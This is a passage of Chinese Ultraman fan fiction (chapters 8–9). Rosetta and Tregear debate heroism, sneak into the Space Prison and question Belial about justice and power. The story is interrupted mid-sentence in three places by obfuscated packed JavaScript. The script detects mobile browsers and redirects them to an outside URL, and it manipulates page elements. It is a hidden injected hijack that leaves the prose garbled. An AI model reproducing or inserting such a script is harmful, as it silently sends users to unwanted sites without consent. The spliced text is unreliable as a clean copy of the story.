“或许有,但是我现在还没有完全看懂。”罗塞塔一遍拍照一边说。托雷基亚回答了泰罗的问题:“这个遗迹十分古老,也许那些水蛭才是生活在这颗星球上的原住民。他们在混沌的时代就栖息在这里,因此一直保持原始的生命形态。他们才是最初的生命的样子。” 所以他们三个其实是冲进怪兽的老家,把房主暴打一顿,走之前还把房主的骨灰扬了。 “好了,已经全部记录好了。”罗塞塔说。三人小队又谨慎地在怪兽出生点守了一会,确信不会有怪兽反复诈尸,才放心地坐上飞船回光之国。回去依旧是托雷基亚领航,罗塞塔坐在他的旁边,学习操纵飞船的技术。飞船里的寂静有些让人难以忍受,托雷基亚踌躇地开口:“对不起,罗塞塔,我一开始还想要丢下你去找泰罗。” 结果要不是罗塞塔,他或许会被迦格杰吃掉,泰罗再怎么努力也只能拯救村民,让一个孩子去对付三只怪兽,实在是太超纲了。 “稍微自信一点吧,托雷。就算没有我,你和泰罗也能战胜怪兽的。”罗塞塔并膝坐着,用手撑着头侧回答:“你们都会平安归来,因为泰罗不会放弃拯救任何一个生命。” “我们奥特曼是非常强大的种族,可也不是全能的神,遇到极限的时候,也只能在双方作出选择。如果有一天另外一边是我,”托雷基亚说,“泰罗,如果下次还是遇到这样的难题,不要先来救我了。” “这是不可能的,托雷基亚!”泰罗也挨过来,坐在托雷基亚另外一边,“你的意思是,为了拯救一边,就要舍弃另外一边?我做不到,我不会放弃任何一边的,我全都要救!” “如果你遇到了无法战胜的敌人呢?泰罗,能救下更多的生命,总好过在犹豫中失去一切。” “我会赌上我的一切创造奇迹!哪怕要牺牲我自己。”泰罗拍了拍自己的胸膛,“光之战士可不能辜负任何一个生命啊!” “泰罗!”托雷基亚有些激动,“唯独你,只有你,我不想你死去!” 真有趣。罗塞塔看着两个外星人讨论电车难题。电车难题是一个经典的道德困境,如果有一辆失控无法停止的电车在轨道上行驶,而一边轨道上被神经病绑了五个无辜的人,另外一边轨道上绑着一个无辜的人,而你恰好站在轨道扳手旁边,你会让电车变道,为了拯救更多的生命而杀死一个无辜的人吗?生命是无法被量化和比较的东西,你怎么选都是错的,怎么选都无法安心。在奥特曼的世界里,这辆失控的电车就是各种各样的怪兽,奥特曼就是能够做出选择的人。而泰罗的选择是……冲上去和电车爆了。他不会牺牲任何一个人,除了他自己。而托雷基亚的选择和泰罗又有什么区别呢?他让泰罗不要救自己,不就是自己直面了电车怪兽吗?对于托雷基亚来说,电车轨道的另外一边就是泰罗。 奥特曼总是这样的,正直又无私,躺在轨道上的人永远可以信任他们,然后目送英雄走上祭坛。 “好啦,你们两个不用在争论啦。托雷基亚,你是说服不了泰罗的,因为你和泰罗是一样的人,宁愿牺牲自己也要拯救其他人。”罗塞塔微笑着制止了两个少年的辩论,“在你们做出选择的时候,你们都已经是英雄了哦。” “对哦。罗塞塔,谢谢你的夸奖。”泰罗一下子被转移注意力,高兴地笑出来。 托雷基亚不说话,他握着操作杆,用余光扫过罗塞塔微笑的面孔,总觉得在那张笑颜下还有一些未竟之言。罗塞塔一定还有没有说完的话,这是他对于“同类”的了解做出的判断。她没有说出来,是因为那些话不适合给泰罗听。他加快了飞船的速度。 回去再问问罗塞塔好了。 第二天,托雷基亚和罗塞塔在图书馆研究德佑遗迹中的上古文字。写满文字的手稿被少女仔细地叠放在一起,托雷基亚看着罗塞塔认真的侧脸问:“昨天在飞船上,罗塞塔还有想说的话吧?可以告诉我吗?” 罗塞塔抬起头,用一种奇异的目光看着他,好像有些苦恼:“你真的想知道吗?只是一些不值一提的感想而已,我不想你徒增烦恼。” “告诉我吧,罗塞塔。我们不是已经谈论过很多关于黑暗、痛苦和死亡的东西了吗?” “好吧。”罗塞塔放下手稿,双手交叠,将身体转向托雷基亚。这是一个很庄重的姿势,预示着她要开启一场很长很长的对话。她先用一个问句开启话题:“托雷基亚,你认为【英雄】究竟是什么呢?” 英雄?托雷基亚想到了大队长,想到了在白银森林里看见的古代战士影像。他斟酌着,试图为这个笼罩着无限光辉的词语下一个准确的定义:“英雄就是……守护正义,保护弱小,愿意为了光明献出生命的战士……对吗?” “你说的没有错,托雷。无所谓战士的头衔,英雄是正义的伙伴,就是在危难之中愿意拯救众生的人。”罗塞塔赞叹着,好像在念一首诗,“多么美丽又伟大的精神啊,他们把生命从绝望和死亡中拯救出来,不求任何回报,哪怕要牺牲自己的生命。可是,这样看来,英雄和那些遭受苦难的人们不是一样的吗?他们一起直面了灾难,然后奇迹发生,所有人都活下来了。” “……如果奇迹没有发生呢?”托雷基亚已经意识到罗塞塔要说什么了。他翻阅过宇宙警备队的公开记录,里面也有战斗失败的档案。他听见罗塞塔继续说:“那英雄也会死去。死去的英雄也是英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是的,如果不意识到这份沉重,我们所崇拜的英雄,只是光鲜亮丽的偶像而已。”罗塞塔好像在自言自语,“光之国倡导着英雄的精神,成为英雄是好的,可是英雄是应该被量产的东西吗?正义没有许诺给我们幸福的未来和美好的结局,它只是存在。我们当然可以在明悟一切代价之后依然选择英雄的道路。可是那些孩子呢?那些只是崇拜着英雄英姿的孩子呢?他们模仿着英雄的形象挥舞拳头,他们真的知道自己要面对的东西是什么吗?他们知道……自己会死去吗?知道自己会引导着更多的后来者走向终点吗?” 我们应该期待英雄吗?期待有一个盖世英雄神兵天降,救我们于水火之中。期待他们为我们献上生命,就像亚伯拉罕为神燔祭自己的爱子。高尚和善良才是杀死奥特曼的绝世神兵,义人不得善终,这样的世界是对的吗? “如果,如果有一天泰罗真的为了正义死去了。我该怎么办呢?”托雷基亚开始推测更远的未来,他颤抖地问,“我会变成什么?我恐怕永远无法再成为正义的伙伴了吧?” “不。”罗赛塔怜悯地看着他,说,“你会成为最正义的英雄,你会捍卫泰罗用生命选择的道路,因为你已经为正义支付了最高的代价,那就是你的朋友泰罗。从今以后,任何牺牲和困难都不会打到你,因为你的心已经一无所有。” “……我准备好了。”那些液体光粒子最后还是从托雷基亚的眼灯中落下,“我会去成为英雄的,我会拯救泰罗,把他从注定死亡的结局中拯救出来……” “我只做他一个人的英雄。” 8. 问题儿童团慰问孤寡老奥 (8) 自从认识了托雷基亚,罗塞塔就一直在思考。那位聪慧敏感的蓝族少年到底需要什么?推着他走向黑暗的究竟是命运的恶意还是他的天生异常。他的痛苦,他的崩溃是因为没有力量成为光之战士吗?他的思考,他的追求,他的疯狂,都是源于对太阳无望的爱吗? 混沌的幽蓝魅影总是向所有人宣告“这个世界没有光明也没有黑暗,宇宙是虚无的。”如果光明和爱都不足以拉回托雷基亚,我能给他什么呢?他想要的是什么? 想要拯救他,给他一个美好的结局。拥有这样想法的自己,是不是过于傲慢了。 托雷基亚总是被书中所描述的黑暗所吸引,光之国没有夜晚,没有黑暗,没有恶人。光之国的休眠时间到来的时候,也只是将火花塔的功率调低,仍有浅淡的辉光笼罩整个光之国。当他与泰罗说起黑暗的时候,泰罗总是元气满满地说:“黑暗一定会被光明战胜的,只要大家一起努力,就没有打不倒的敌人。” 可是,光明战胜黑暗,就是理所当然的真理吗?为什么我会被黑暗所吸引呢?这个世界上,除了光明就是黑暗吗?如果光明之中没有童话故事般的幸福结局,那么黑暗的尽头又有些什么? 这样想着,托雷基亚又一次和罗塞塔谈论起了光与暗。罗塞塔收起光屏,转头看向他。她在对话的时候一向很认真,能让人感受到她的注意力全部都在对方的身上。她说:“托雷基亚,你想说的是。既然黑暗就在那里,光之国的历史长达27万年,为什么我们至今没有消灭黑暗?” “……嗯,是的。” “我倒是觉得,这个世界上没有什么理所当然的事情。光明只是光明,黑暗只是黑暗。没有什么善与恶的分别,所有的好与坏只是我们一厢情愿下的定义。” 托雷基亚看着他的朋友平淡地丢下一颗炸弹,这是何等大逆不道的话。在光之国,所有人都知道黑暗就是必须消灭掉邪恶。他瞪大了眼睛,明明这是错误的观念,但是他还是想继续听下去。 “可是,我们是正义的奥特曼啊,我们的使命就是要消除黑暗和邪恶。” “光芒太过明亮的时候,也会灼伤生命。那些天生只能在黑暗里生活的生命,难道就该死吗?我们总是在追求着正义,可是正义又是谁规定的?谁有资格定义一种所有人都认可的正义?” 是啊,光之国的光芒到底是什么呢?托雷基亚移开视线,看向桌上的历史书。书上记载,数千年前,有一个银族的战士为了获得力量,想要偷取等离子火花塔的核心,他被光之国放逐。那个战士在宇宙流浪时被注入了雷布朗多星人的遗传因子,变成邪恶的奥特曼。他的名字叫做贝利亚,贝利亚率领怪兽军团攻打光之国,后来被奥特之王关进宇宙监狱之中。 完美无缺的光之国诞生了邪恶奥特曼,所有人都认为这是雷布朗多星人的错误,可是贝利亚在堕入黑暗之前,就已经想要偷取火花塔核心,如果他成功了,光之国也会被毁灭吧?在那个时候,他就已经是邪恶的奥特曼了。 “……所以我们坚持的正义,到底是什么呢?” “要去看一看吗?” 银白的手按住了桌上的书,罗塞塔合上“贝利亚之乱”部分的书页。白色的眼灯静静注视着他:“我们在这里讨论再久也没有意义,因为我们没有见过什么是真正的黑暗。贝利亚就在宇宙监狱,要一起去看一看吗?” 啊。 托雷基亚的心砰砰的跳起来,他感觉自己全身的都血液都沸腾起来。他的朋友比他想象的还要疯狂!闯入宇宙监狱是绝对不被允许的,他应该拒绝的,但是他的好奇心在耳边低语:要想知道什么是黑暗,怎么能不到黑暗里去看一看呢?我们难道连了解未知事物的勇气都没有吗? 托雷基亚听见自己的声音响起,他说。 “好。” 罗塞塔是个超强行动派,说走就走。她拉着托雷基亚的手,飞到了宇宙监狱的外空。光之国之外的宇宙是冰冷又黑暗的虚空,翠绿色的星球在视线尽头成为一颗渺小的翡翠。宇宙监狱像一个巨型魔方悬浮在光之国的外环,漆黑的巨构表面反射一点绿色的光芒。有两个手持长矛的红族战士守在监狱的入口,托雷基亚紧张地小声问:“我们要怎么进去啊?” 这可不像白银森林的栏杆,可以被孩子轻易掰开。两个蓝族孩子也肯定打不过成年的红族战士。罗塞塔语气轻松地说:“安心吧,我已经计划好了。在宇宙监狱后面开个洞。我们从那里进去。” “什么洞?”托雷基亚缓缓打出问号。“宇宙监狱是王的力量实体化成的,怎么可能从外部破坏?” “对呀,正是因为它是由空间能量构成的,才给了我们可乘之机。我没有破坏它,唔……怎么说呢。”罗塞塔试图组织语言,“就是,能量的流动是有交点与空隙的,就像渔网一样,再细密的网都是有网眼的,我计算出了一处洞眼。只要我们改变自身的能量频率,调到和空间能量同样的波长,我们就能从洞里钻过去。” “我明白了……不对,说起来容易,这根本做不到吧?”托雷基亚难以置信地瞪着罗塞塔:“先不说这个计算量有多大,生命的波长是固定的,你好像在说’我们变成皮古蒙混进去吧‘。这种事根本做不到!” “可以的。”罗塞塔依然冷静,“奥特曼可以和其他的生命一心同体,当然也能和空间一心同体。变成皮古蒙也是可以的。总之,你什么都不用做,拉住我的手,我来操作就好。” 这才哪到哪啊,奥王当年和宇宙一心同体把坐在电视前的罗塞塔看呆了,奥特曼,很奇妙吧。抄一抄老王的作业,我罗塞塔今天就是要进去,谁也拦不住。 两个小奥像是两条蓝色的小鱼,轻盈地“游”进了宇宙监狱。罗赛塔想,像是在肥皂泡之间穿行,熟悉地就像她出生……或者是穿越时的感觉。托雷基亚的眼前一黑,再点亮眼灯的时候,已经到了宇宙监狱内部。 居然真的进来了! 他抬头四处观察。黑暗,无边的黑暗笼罩着宇宙监狱。等离子火花塔的光芒被宇宙监狱阻拦,空间中也没有宇宙里各种辐射的能量微波。托雷基亚感到轻微的窒息,不,光之巨人不需要呼吸,他只是不太适应没有能量的空间。黑暗中渐渐亮起白色的微光,是罗塞塔,她点亮了自己的角翼。白色的光芒像轻纱笼罩在羽毛上,柔和的微光照亮脚下的路。罗塞塔辨认了一下方位,“走吧,我们很快就能见到光之国的黑暗了。” 两只叛逆的黑羊手牵着手并肩行走在长长的走廊里,前路和后路都被黑暗吞没,只有脚下踩的一小块道路被光芒照亮。寂静总是令人不安的,托雷基亚试图开启话题,驱散令人不安的死寂:“罗塞塔,和我说说话吧。” “要聊天吗?好,让我想想……”罗塞塔想了想,“托雷,如果贝利亚知道今天的结局,他会后悔去触碰等离子火花塔的核心吗?” “会吧?明知道会一无所有,怎么还会犯下错误呢?” “我倒是觉得不会呢。他只会后悔为什么没有成功,而不会悔恨自己犯下过错。”罗塞塔想起了银格的白贝,“他就是那样坚信力量就是一切的人,拥有力量就拥有一切。” “真是可悲呀,这个世界上明明有很多东西,重要的东西不止力量。”托雷基亚说着,看了一眼罗塞塔,他想起了泰罗,朋友也是很重要的东西。只要和朋友们在一起,他就不会再害怕。 “我们到了。”罗塞塔停下脚步,孩子们停止窃窃私语,抬起头,用好奇地目光注视另一条道路的化身。 要如何描述贝利亚呢? 败犬、暴君、小丑。 天生的恶魔、选中的犹大、命定的反派。 他的名字就是彼列的变体,是创造出来就为了被打败的角色,是除了背叛和黑暗就无路可走的倒霉鬼。故事里需要一个被打败的boss,所以贝利亚被创造出来了。他的名字就注定了他不会得到想要一切,多么可悲,多么可怜啊。 就像她的朋友托雷基亚一样。 作为观众的时候,罗塞塔可以带着高高在上的疏离观赏戏剧中的悲剧与美丽。可是现在她已经走上舞台,她知晓所有命运的剧本,那么她也可以珍藏那些心爱的棋子吧?贝利亚是出于什么心态走上黑暗的道路呢?命运真的可以改变吗?如果贝利亚能够挣脱命运,托雷基亚是不是也可以呢? 罗塞塔不知道,但是她真的希望她的朋友不会成为注定的丑角。 所以,去见一见贝利亚,去试一试,将命运逆转吧。罗塞塔花费很长的时间研究了宇宙监狱的构成,拟定十几个计划,这并不困难。自从学会奥特念力,她好像睁开属于上帝的眼睛,空间、能量的流动都纤毫毕现,能够看见,够能干涉,能够掌控。记录、重构、复现,组成万物的琴弦就在那里,而罗塞塔是即将拨动弦音的歌者。 【罗塞塔,这是你的天赋,也是你的天命。】某个人注视着命运,轻声说。 对于自己的天命还一无所知的蓝族少女拉着蓝族少年的手,走到了奥特曼最初的黑暗面前。黑暗的奥特曼被锁在凝固的空间中,眼灯漆黑,仿佛某种被制成标本的猛兽。他黑色的身体,巨大的利爪全部都被封印,只剩下一个脑袋露在外面。然而巨兽的尸骸仍有威严,狂暴的煞气扑面而来,巨大的压迫感像山一样沉沉压下。好像下一秒它就会扑过来,把两个小小的蓝色幼崽吞吃嚼碎。 哇塞,五指山下的孙猴子。罗塞塔在心里默默点评。一阵颤抖从交握的双手传来,罗塞塔转头,是托雷基亚在发抖,不知道是因为恐惧还是兴奋。 托雷基亚感到目眩神迷的恐惧与激动。他本来有很多问题,关于光与暗,关于正义和邪恶。此刻却什么也说不出口,他想,原来奥特曼也不是永远光明正义的,原来黑暗是这个样子的。他在光之国千万年来唯一的污点前噤声屏气,终于后知后觉地害怕起来。溜进宇宙监狱的罪过明显比和泰罗闯进白银森林大多了。他晃了晃罗塞塔的手说,“够了,我们回去吧。” “这样就满足了吗?可是我还有问题要问这位前辈呀。” 罗塞塔伸出另外一只手,光芒在掌心凝聚成水球,这是奥特水枪的变体。在托雷基亚惊惧的目光中,小水球飞到贝利亚的头上,水流当头浇下。猩红的眼灯缓缓亮起。托雷基亚的大脑一片空白。他想,罗塞塔你这么勇的吗,这下篓子要捅到奥特之王那里去了! 贝利亚从长长的睡梦中醒来,恍若隔世。在这个与世隔绝的牢笼中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648344|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人来见他。什么也看不到,什么也听不见,无法从任何一个客体的反馈中确认“自我”是否存在。只有漫长的寂静,近乎死亡的寂静。一开始他还试着思考越狱的办法,怀着怒火反复咀嚼过去,想象挣脱束缚的未来。无边的寂静是一种对“心”的磨损,于是他除了睡眠,再无事可做。 他点亮眼灯,他本以为会见到肯、玛丽或者是奥特之王那个老家伙。但是眼前出现的,居然是两个蓝族的……小孩子? 不是,宇宙监狱爆改博物馆了吗?光之国的安保到底在防什么?这两个小鬼怎么跑进来的? 大眼瞪小眼了一会,托雷基亚抖得更厉害了。他已经开始想象,今天会被这个看起来就超级凶恶的老登碾死,泰罗甚至不能给他收尸,因为奥特曼死掉就变成光粒子散了,什么也不剩。我死了泰罗会难过吗?会永远记住我吗?托雷基亚正在胡思乱想,罗塞塔向前一步,把托雷基亚护至身后。她左手按胸,行了一个屈膝礼:“您好,贝利亚前辈。” “……两个小鬼,你们是怎么进来的?肯难道打算把宇宙监狱当成教育景点,要让整个光之国都来羞辱我吗?” “并非如此,贝利亚前辈。”罗塞塔用着敬语,诚恳而礼貌地回答,“这完全是我的个人行为,与光之国无关。我只是有一些疑惑,希望得到您的指点。” “有趣,”贝利亚看着两个柔弱的蓝族小奥,饶有兴趣地笑起来,真稀奇,在他做出了那种事后,居然还有孩子会叫他“前辈”。他低下头问:“连光之国都无法满足你吗?有什么问题需要向我来问?” 罗塞塔抬起头,用大而圆润的眼灯看着贝利亚。托雷基亚熟悉好友的动作,这是罗塞塔典型的示弱行为,常常出现她即将暴言冒犯对方之前,通常用于降低受害者的怒气值。他被这个前摇攻击过好几次。果不其然,罗塞塔用更加柔软稚气的声线问:“第一个问题是,和我对话的是贝利亚前辈,还是雷布朗多星人呢?” “哼,本大爷当然是贝利亚,雷布朗多只不过是我的垫脚石罢了。是我要选择黑暗的,难道你们觉得,把所有的问题推给雷布朗多,本大爷就会乖乖地回光之国吗?” “那么,”罗塞塔继续发力,“您要怎么确定,您不是自认为贝利亚的雷布朗多星人呢?” 沉默。 这个问题罗塞塔在还是人类的时候就想问了。被雷布朗多附身算不算一种一心同体?奥特曼总是和各种生命融来融去的,分不清是奥特曼夺舍了人类,还是人类顶号奥特曼。一心同体这个技能化为现实真是太可怕了,她真的很好奇当事人的看法。 贝利亚红色的眼灯闪烁着,片刻之后他张狂地大笑起来:“我为什么非要向一个小鬼证明我是贝利亚?我觉我是,那本大爷就是!其他人的看法根本不重要!我记住你了,蓝色的小鬼,如果你真的好奇,不如过来接受我的力量,试一试变成雷奥尼克斯是什么感觉!”黑暗的力量凝为实质,张牙舞爪地扑过来,罗塞塔往后退了一步,离开封印范围,黑色的雾气咆哮着,却只能无能狂怒地收回。 “谢谢您的好意,我暂时没有这个打算。”罗塞塔继续用着幼猫一样的声线回答,降低自己的攻击性。 可是罗塞塔,很明显你已经成功破他的防了呀!现在装可怜还有用吗?这家伙真的不会暴起把我们俩都干碎吗?托雷基亚试图用眼灯传递“快跑”的意思。罗塞塔的视线掠过托雷基亚惊恐的表情,她get到了。于是她向贝利亚鞠了一躬:“感谢您的回答,时间到了,我们该告辞了。有机会我还会来请教您的。” 罗塞塔在贝利亚充满兴趣的目光中带着托雷基亚走了。她的时间掐得很完美,离开与回去都没有惊动任何人。回到孤儿院的时候,托雷基亚感觉自己在做梦,他居然真的平平安安地回来了! “下次还要一起去拜访前辈吗?” “不,我绝对不会去了!” “唔,好吧,请你不要告诉其他人哦。” “罗塞塔,我会保守好秘密的。”托雷基亚刚刚结束了一场惊世骇俗的冒险,脸还有些发烫。他郑重地回答,“就算是泰罗,我也不会告诉他的,这是只属于我们两个人的秘密!” 罗塞塔的脸上出现了表情,是一个微笑:“那么晚安,明天见。” 漆黑的宇宙监狱中,贝利亚正在思考。 那个蓝色的小鬼到底是怎么进来,又怎么出去的?是谁授意她的?如果真是仅凭借一个弱鸡蓝族就能做到,难不成,外面的时代已经发展到天才遍地走,老登不如狗?算了,看那个小鬼的态度,她一定会再来的,到时候,骗她打开封印再杀掉好了。 贝利亚熄灭眼灯,继续用睡眠抵抗漫长的时间磨损。遥远的国王星上,奥特之王若有所感,朝这个方向看了一眼,他看见了贝利亚、托雷基亚和罗塞塔。红色的眼灯注视着那个头生角翼的蓝族小奥,长者感慨了一句:“原来是那个孩子啊……” 从赛迦手中接过那团灵光的日子好像还在昨天,转眼间小光团就能到处乱跑了,真是活泼可爱。不过,如果是那孩子的话,就不必做什么干涉了。愿你无病无灾到永久,拥有幸福顺遂的一生,■■■。 奥特之王收回视线,一挥披风,转身离开。 9. 瓶中魔鬼如是说 (9) 那个蓝色的小鬼又来了。 贝利亚先是听见轻盈而有节奏的足音,白色微光笼罩的蓝色身影慢慢走到他的面前站定。蓝色的少女身姿纤细,像一枝百合花于夜色中盛开。她的脸上没有任何紧张和忧虑的表情,当她注视贝利亚的时候,就像天真的稚子走到海洋馆的玻璃鱼缸之前,看着鲨鱼在巨大的水体里悠然地巡游。贝利亚红色的眼灯亮起,红光落在她的脸上,就像水面斑驳陆离的光影把这个孩子吞噬。 这一次她是一个人来的,她没有说话。只用目光打量着贝利亚,好像他是一道世界上无人解开的难题。贝利亚等了一会,这个莫名其妙的小鬼还是没有开口。贝利亚看着这个蓝族女孩。他们就这样注视着彼此,宛若狮子和黑山羊隔着无形的栏杆对峙,就此确认了彼此的“异类”身份。 这是这个蓝族第二次来了,她果然掌握了自由出入的办法,看起来也不是由光之国授意前来。贝利亚决定屈尊降贵地先开口:“你到底是怎么进来的?这里还有其他的门?” 罗塞塔心说我当然是钻狗洞进来的,但是这能告诉你吗?她组织了一下语言,淡然地回答:“门本是凡人对空间的定义,空间从不拒绝生命。世界上本就没有门,走的人多了,也就成为了门。” “?” 这小鬼头怎么神神叨叨的?她的意思是,自己创造了一道“空间门”?贝利亚定定地看着她问:“你来到这里,想要从我这里得到什么?” “我想要更了解您一点,”罗塞塔没有正面回答他的问题,“我想用自己的眼睛真正地认识您。不是从书上的历史,也不是从他人的口中,我想要自己确认【贝利亚】到底是什么样的人。可以吗?”她很有礼貌地问,“我有荣幸得到您的允许吗?” 贝利亚是一个很合适的“样本”。罗塞塔想,他是光之国历史,或者说整个奥特曼历史上第一个走入黑暗的奥特曼。但是特摄剧对于他的塑造完全是按照光明的对立面来描绘的。英雄正义/无私/善良,所以作为镜像的反派必须邪恶/自私/傲慢,他无数次从死亡中归来,无数次失去所有。罗塞塔看过他的结局,但是她不要看戏剧中的木偶再演剧目,她要看那个作家笔下之外,哪怕只有一瞬存在的真实灵魂。 况且现阶段的贝利亚被奥特之王的力量束缚,他无法发挥力量伤害到她,这是一个多么适合观测的实验对象。 “有意思,蓝族,”贝利亚看着这个面无惧色的小孩,他感到一种久违的趣味,她看上去可比老是念叨奥特之心的肯有趣得多,正适合打发时间。也许他能把这个孩子从光之国抢走,变成自己的工具。他问:“你叫什么名字?” “罗塞塔。我是罗塞塔。” “罗塞塔,为什么对我感到好奇?是在光之国有得不到的东西吗?” “因为前辈是光之国出身的奥特曼。”罗塞塔将贝利亚的问句解读为一种默许,于是她更加放松了,干脆坐下。用手支起头,手肘搭在膝盖上,她仰着头问:“我想知道贝利亚前辈为什么会选择黑暗。您和我们共享同一个起点,和那些只以作恶为乐的黑暗宇宙人不一样吧,我相信您选择的道路也一定有意义。我想看看您的意志,究竟指向何方。” 这个孩子……她居然对光明产生了动摇,她不是光的信徒!贝利亚有点想笑,他不会放弃任何一个嘲笑肯的机会,于是他大笑出声:“哈哈哈哈哈,好孩子,你可真是一个好孩子啊!”他笑够了,以一种循循善诱的语气说:“那就让本大爷为你解答这个疑惑吧,让我告诉你,光之国的光明到底有多么虚伪!” 他问:“我问你,罗塞塔。光之国是如何定义【正义】的?他们是如何对待其他文明的?” “正义就是要保护弱者。当我们遇到其他的文明,应该尽可能地不去干涉他们,如果他们遇到无法解决的危机,奥特战士会在人们努力到最后一刻的时候给予帮助,与他们并肩作战。”优等生报出了课本上的答案。 “这就是问题所在了。罗塞塔,什么是危机?什么是最后一刻?什么是帮助?”贝利亚压低了声音,像是伊甸之蛇在低语,“这些全部都是光之国自以为是的标准。我们一定要等待所有的悲伤和灾难都不可挽回后才施舍给他们救赎吗?这难道不是一种虚伪的自我满足?既然我们拥有力量,为什么不去更早地改变这一切,为什么非要自我束缚?或许你会告诉我,这是为了避免影响那些文明的发展道路,可是在这个宇宙中,光之国已经是最强大的国度之一,被我们影响难道是什么错误吗?” 贝利亚的未竟之言很明显,既然光之国从来不自诩神明,那么他们为什么在做着只有神才有资格的事情:衡量痛苦。这难道不是一种虚伪的慈悲吗? “可是光之国的道路不一定适用于所有的文明。”罗塞塔没有被这个答案撼动,她眉目不动,“就统计学来说,文明的发展保持多样性对于总体的稳定性更有优势,如果宇宙中只有一个声音……”罗塞塔顿了一下,她察觉到了什么。“您想让光之国统治宇宙……这就是您和大队长的分歧吗?” “你真的很聪明,这些我还没有和肯说过。”贝利亚眯起眼灯,他承认自己有些小看这个幼崽,这个孩子锐利得像一把开刃的宝刀,只是她狡猾地用柔软无辜的外表作为刀鞘。他继续说,“但是被光之国纳入版图,对于那些文明是坏事吗?我们一直在光之国防御其他宇宙人的进攻,为什么不主动去整肃这个吵闹的宇宙?很久之前,我和肯是同一个小队的战友,我们只需要彼此,互相交付后背,和无数试图侵略光之国的家伙战斗。他总是那么天真,一次又一次放过那些假意悔改的敌人。我已经受够了,以光之国的道德来看,宇宙中80%的文明都应该被摧毁。我们为什么要为那些丑陋又恶劣的种族付出我们战士宝贵的生命?罗塞塔,你会看着你的朋友为了不值得拯救的家伙去死吗?” 原来如此。罗塞塔沉思,原来贝利亚是这样想的。他曾经也是拯救弱者的英雄,可是走入黑暗后他不再怜悯,曾经的英雄蹂躏银河,铁蹄下堆满弱者的尸骸。他的逻辑和想法都自洽,他是一个“真实”的生命。在这个宇宙中,每一个人都有不同的性格和理想,他们依照自己选定的道路走到了尽头,于是这条道路就被称为命运。我要怎么改变一个人的道路呢?我有权力把自认为好的东西强塞给他们吗?如果篡改他们的理想,这和杀死他们有区别吗? 不,如果看见悲伤却不去行动,我怎么会甘心。我为什么要纠结这些?说到底,我只是一个自私的人类。 她继续问:“所以你对光之国失望了吗?” “为什么不呢?正义不过是弱者用来绑架强者的借口。”贝利亚轻蔑地哼笑,“呵,光之国就是建立在一个‘正义一定战胜邪恶’的天真幻想上的国家。事实就是,正义不是真理,只是肯他们看待世界的方式罢了。在绝对的力量之前,这一切都毫无意义。”他想起安培拉皇帝冰冷的黑暗,想起雷布朗多记忆中曾被“闪耀之血”支配的文明种族,心中的盛怒与欲望越发高涨。贝利亚缓缓吐出最后的定语:“这个世界上,只有力量才是最真实的,拥有力量就是拥有一切!” 黑暗的战士发表了慷慨激扬的演讲,他唯一的听众却没有被煽动。罗塞塔冷静地回答:“您说得很有道理。正义只是看待世界的一种方式。可是力量也不是真理,力量也只是您解释世界的一种方式。” 因为暴力无法摧折美丽的灵魂,也无法扭转众生的祈愿。罗塞塔垂下目光,如果她能说服贝利亚力量不是一切,贝利亚会更改自己的命运吗? “如果不是因为没有力量,我怎么会走到今天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648345|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地步?”贝利亚盯着罗塞塔说:“光之国说着正义与希望,可是他们选举领袖的方式不还是依靠力量吗?我和肯的功绩是一样的!就是因为肯觉醒了真之力,光之国选择了他,玛丽也选择了他!世人惯用冠冕堂皇的借口假装文明,可是这个宇宙就是弱肉强食的,追求强大是每一个人的本能!” 少女状若天真地歪了歪头:“可是这不对吧?如果世界上的人都追求强大,那么就不会有爱情诞生了。强上有更强,总有一个最强大的存在。在光之国,最强大的不是王吗?按照您的结论,所有光之国的女性都应该爱上奥特之王。可是玛丽军长喜欢的是大队长。”她的语气还是很轻松:“少女的爱就是不讲道理的东西,玛丽军长也不是强者的战利品。” “哼……”贝利亚被自己的回旋镖打了一下,他没法答这个问题。因为罗塞塔没有说是因为他不如肯才没有被玛丽选择,所以他也没法生气。贝利亚决定跳过这个话题:“你无法否认光之国的正义只是一种自我感动的虚伪吧?怎么样,你还要留在这个虚伪的光之国吗?不如打开封印,和我走。我们去创立一个伟大的国度,把寰宇的无数星球都纳入掌中,给予宇宙真正的安宁!” 瓶中的恶魔发出邀请。存于瓶中的第一个千年,他想,若有人将我从瓶中救出,我便赠予他无上伟力;第二个千年,他想,若有人将我释放,我便给予他无边荣光;第三个千年,他想,若有人带我离开,我会满足他的所有愿望……第五个千年,他诅咒,谁若救我,我便杀他! 第#?个千年,一只青鸟飞过瓶子,它停下脚步。 好短的燕国地图,贝利亚的欲求真是太简单,太好掌握了。只要先拒绝他,再给他一点希望,他就会愿意花费更多时间在我的身上,我就能用言语更多地影响他吧。罗塞塔终于露出了今天的第一个微笑:“要是把您放出来,下一秒我就会被杀死吧?真是难为您还愿意哄我一下,光之国现在还有对我很重要的人,我还没有打算离开这里。不过,您的理想很壮丽呢,或许有一天,它能够实现。” 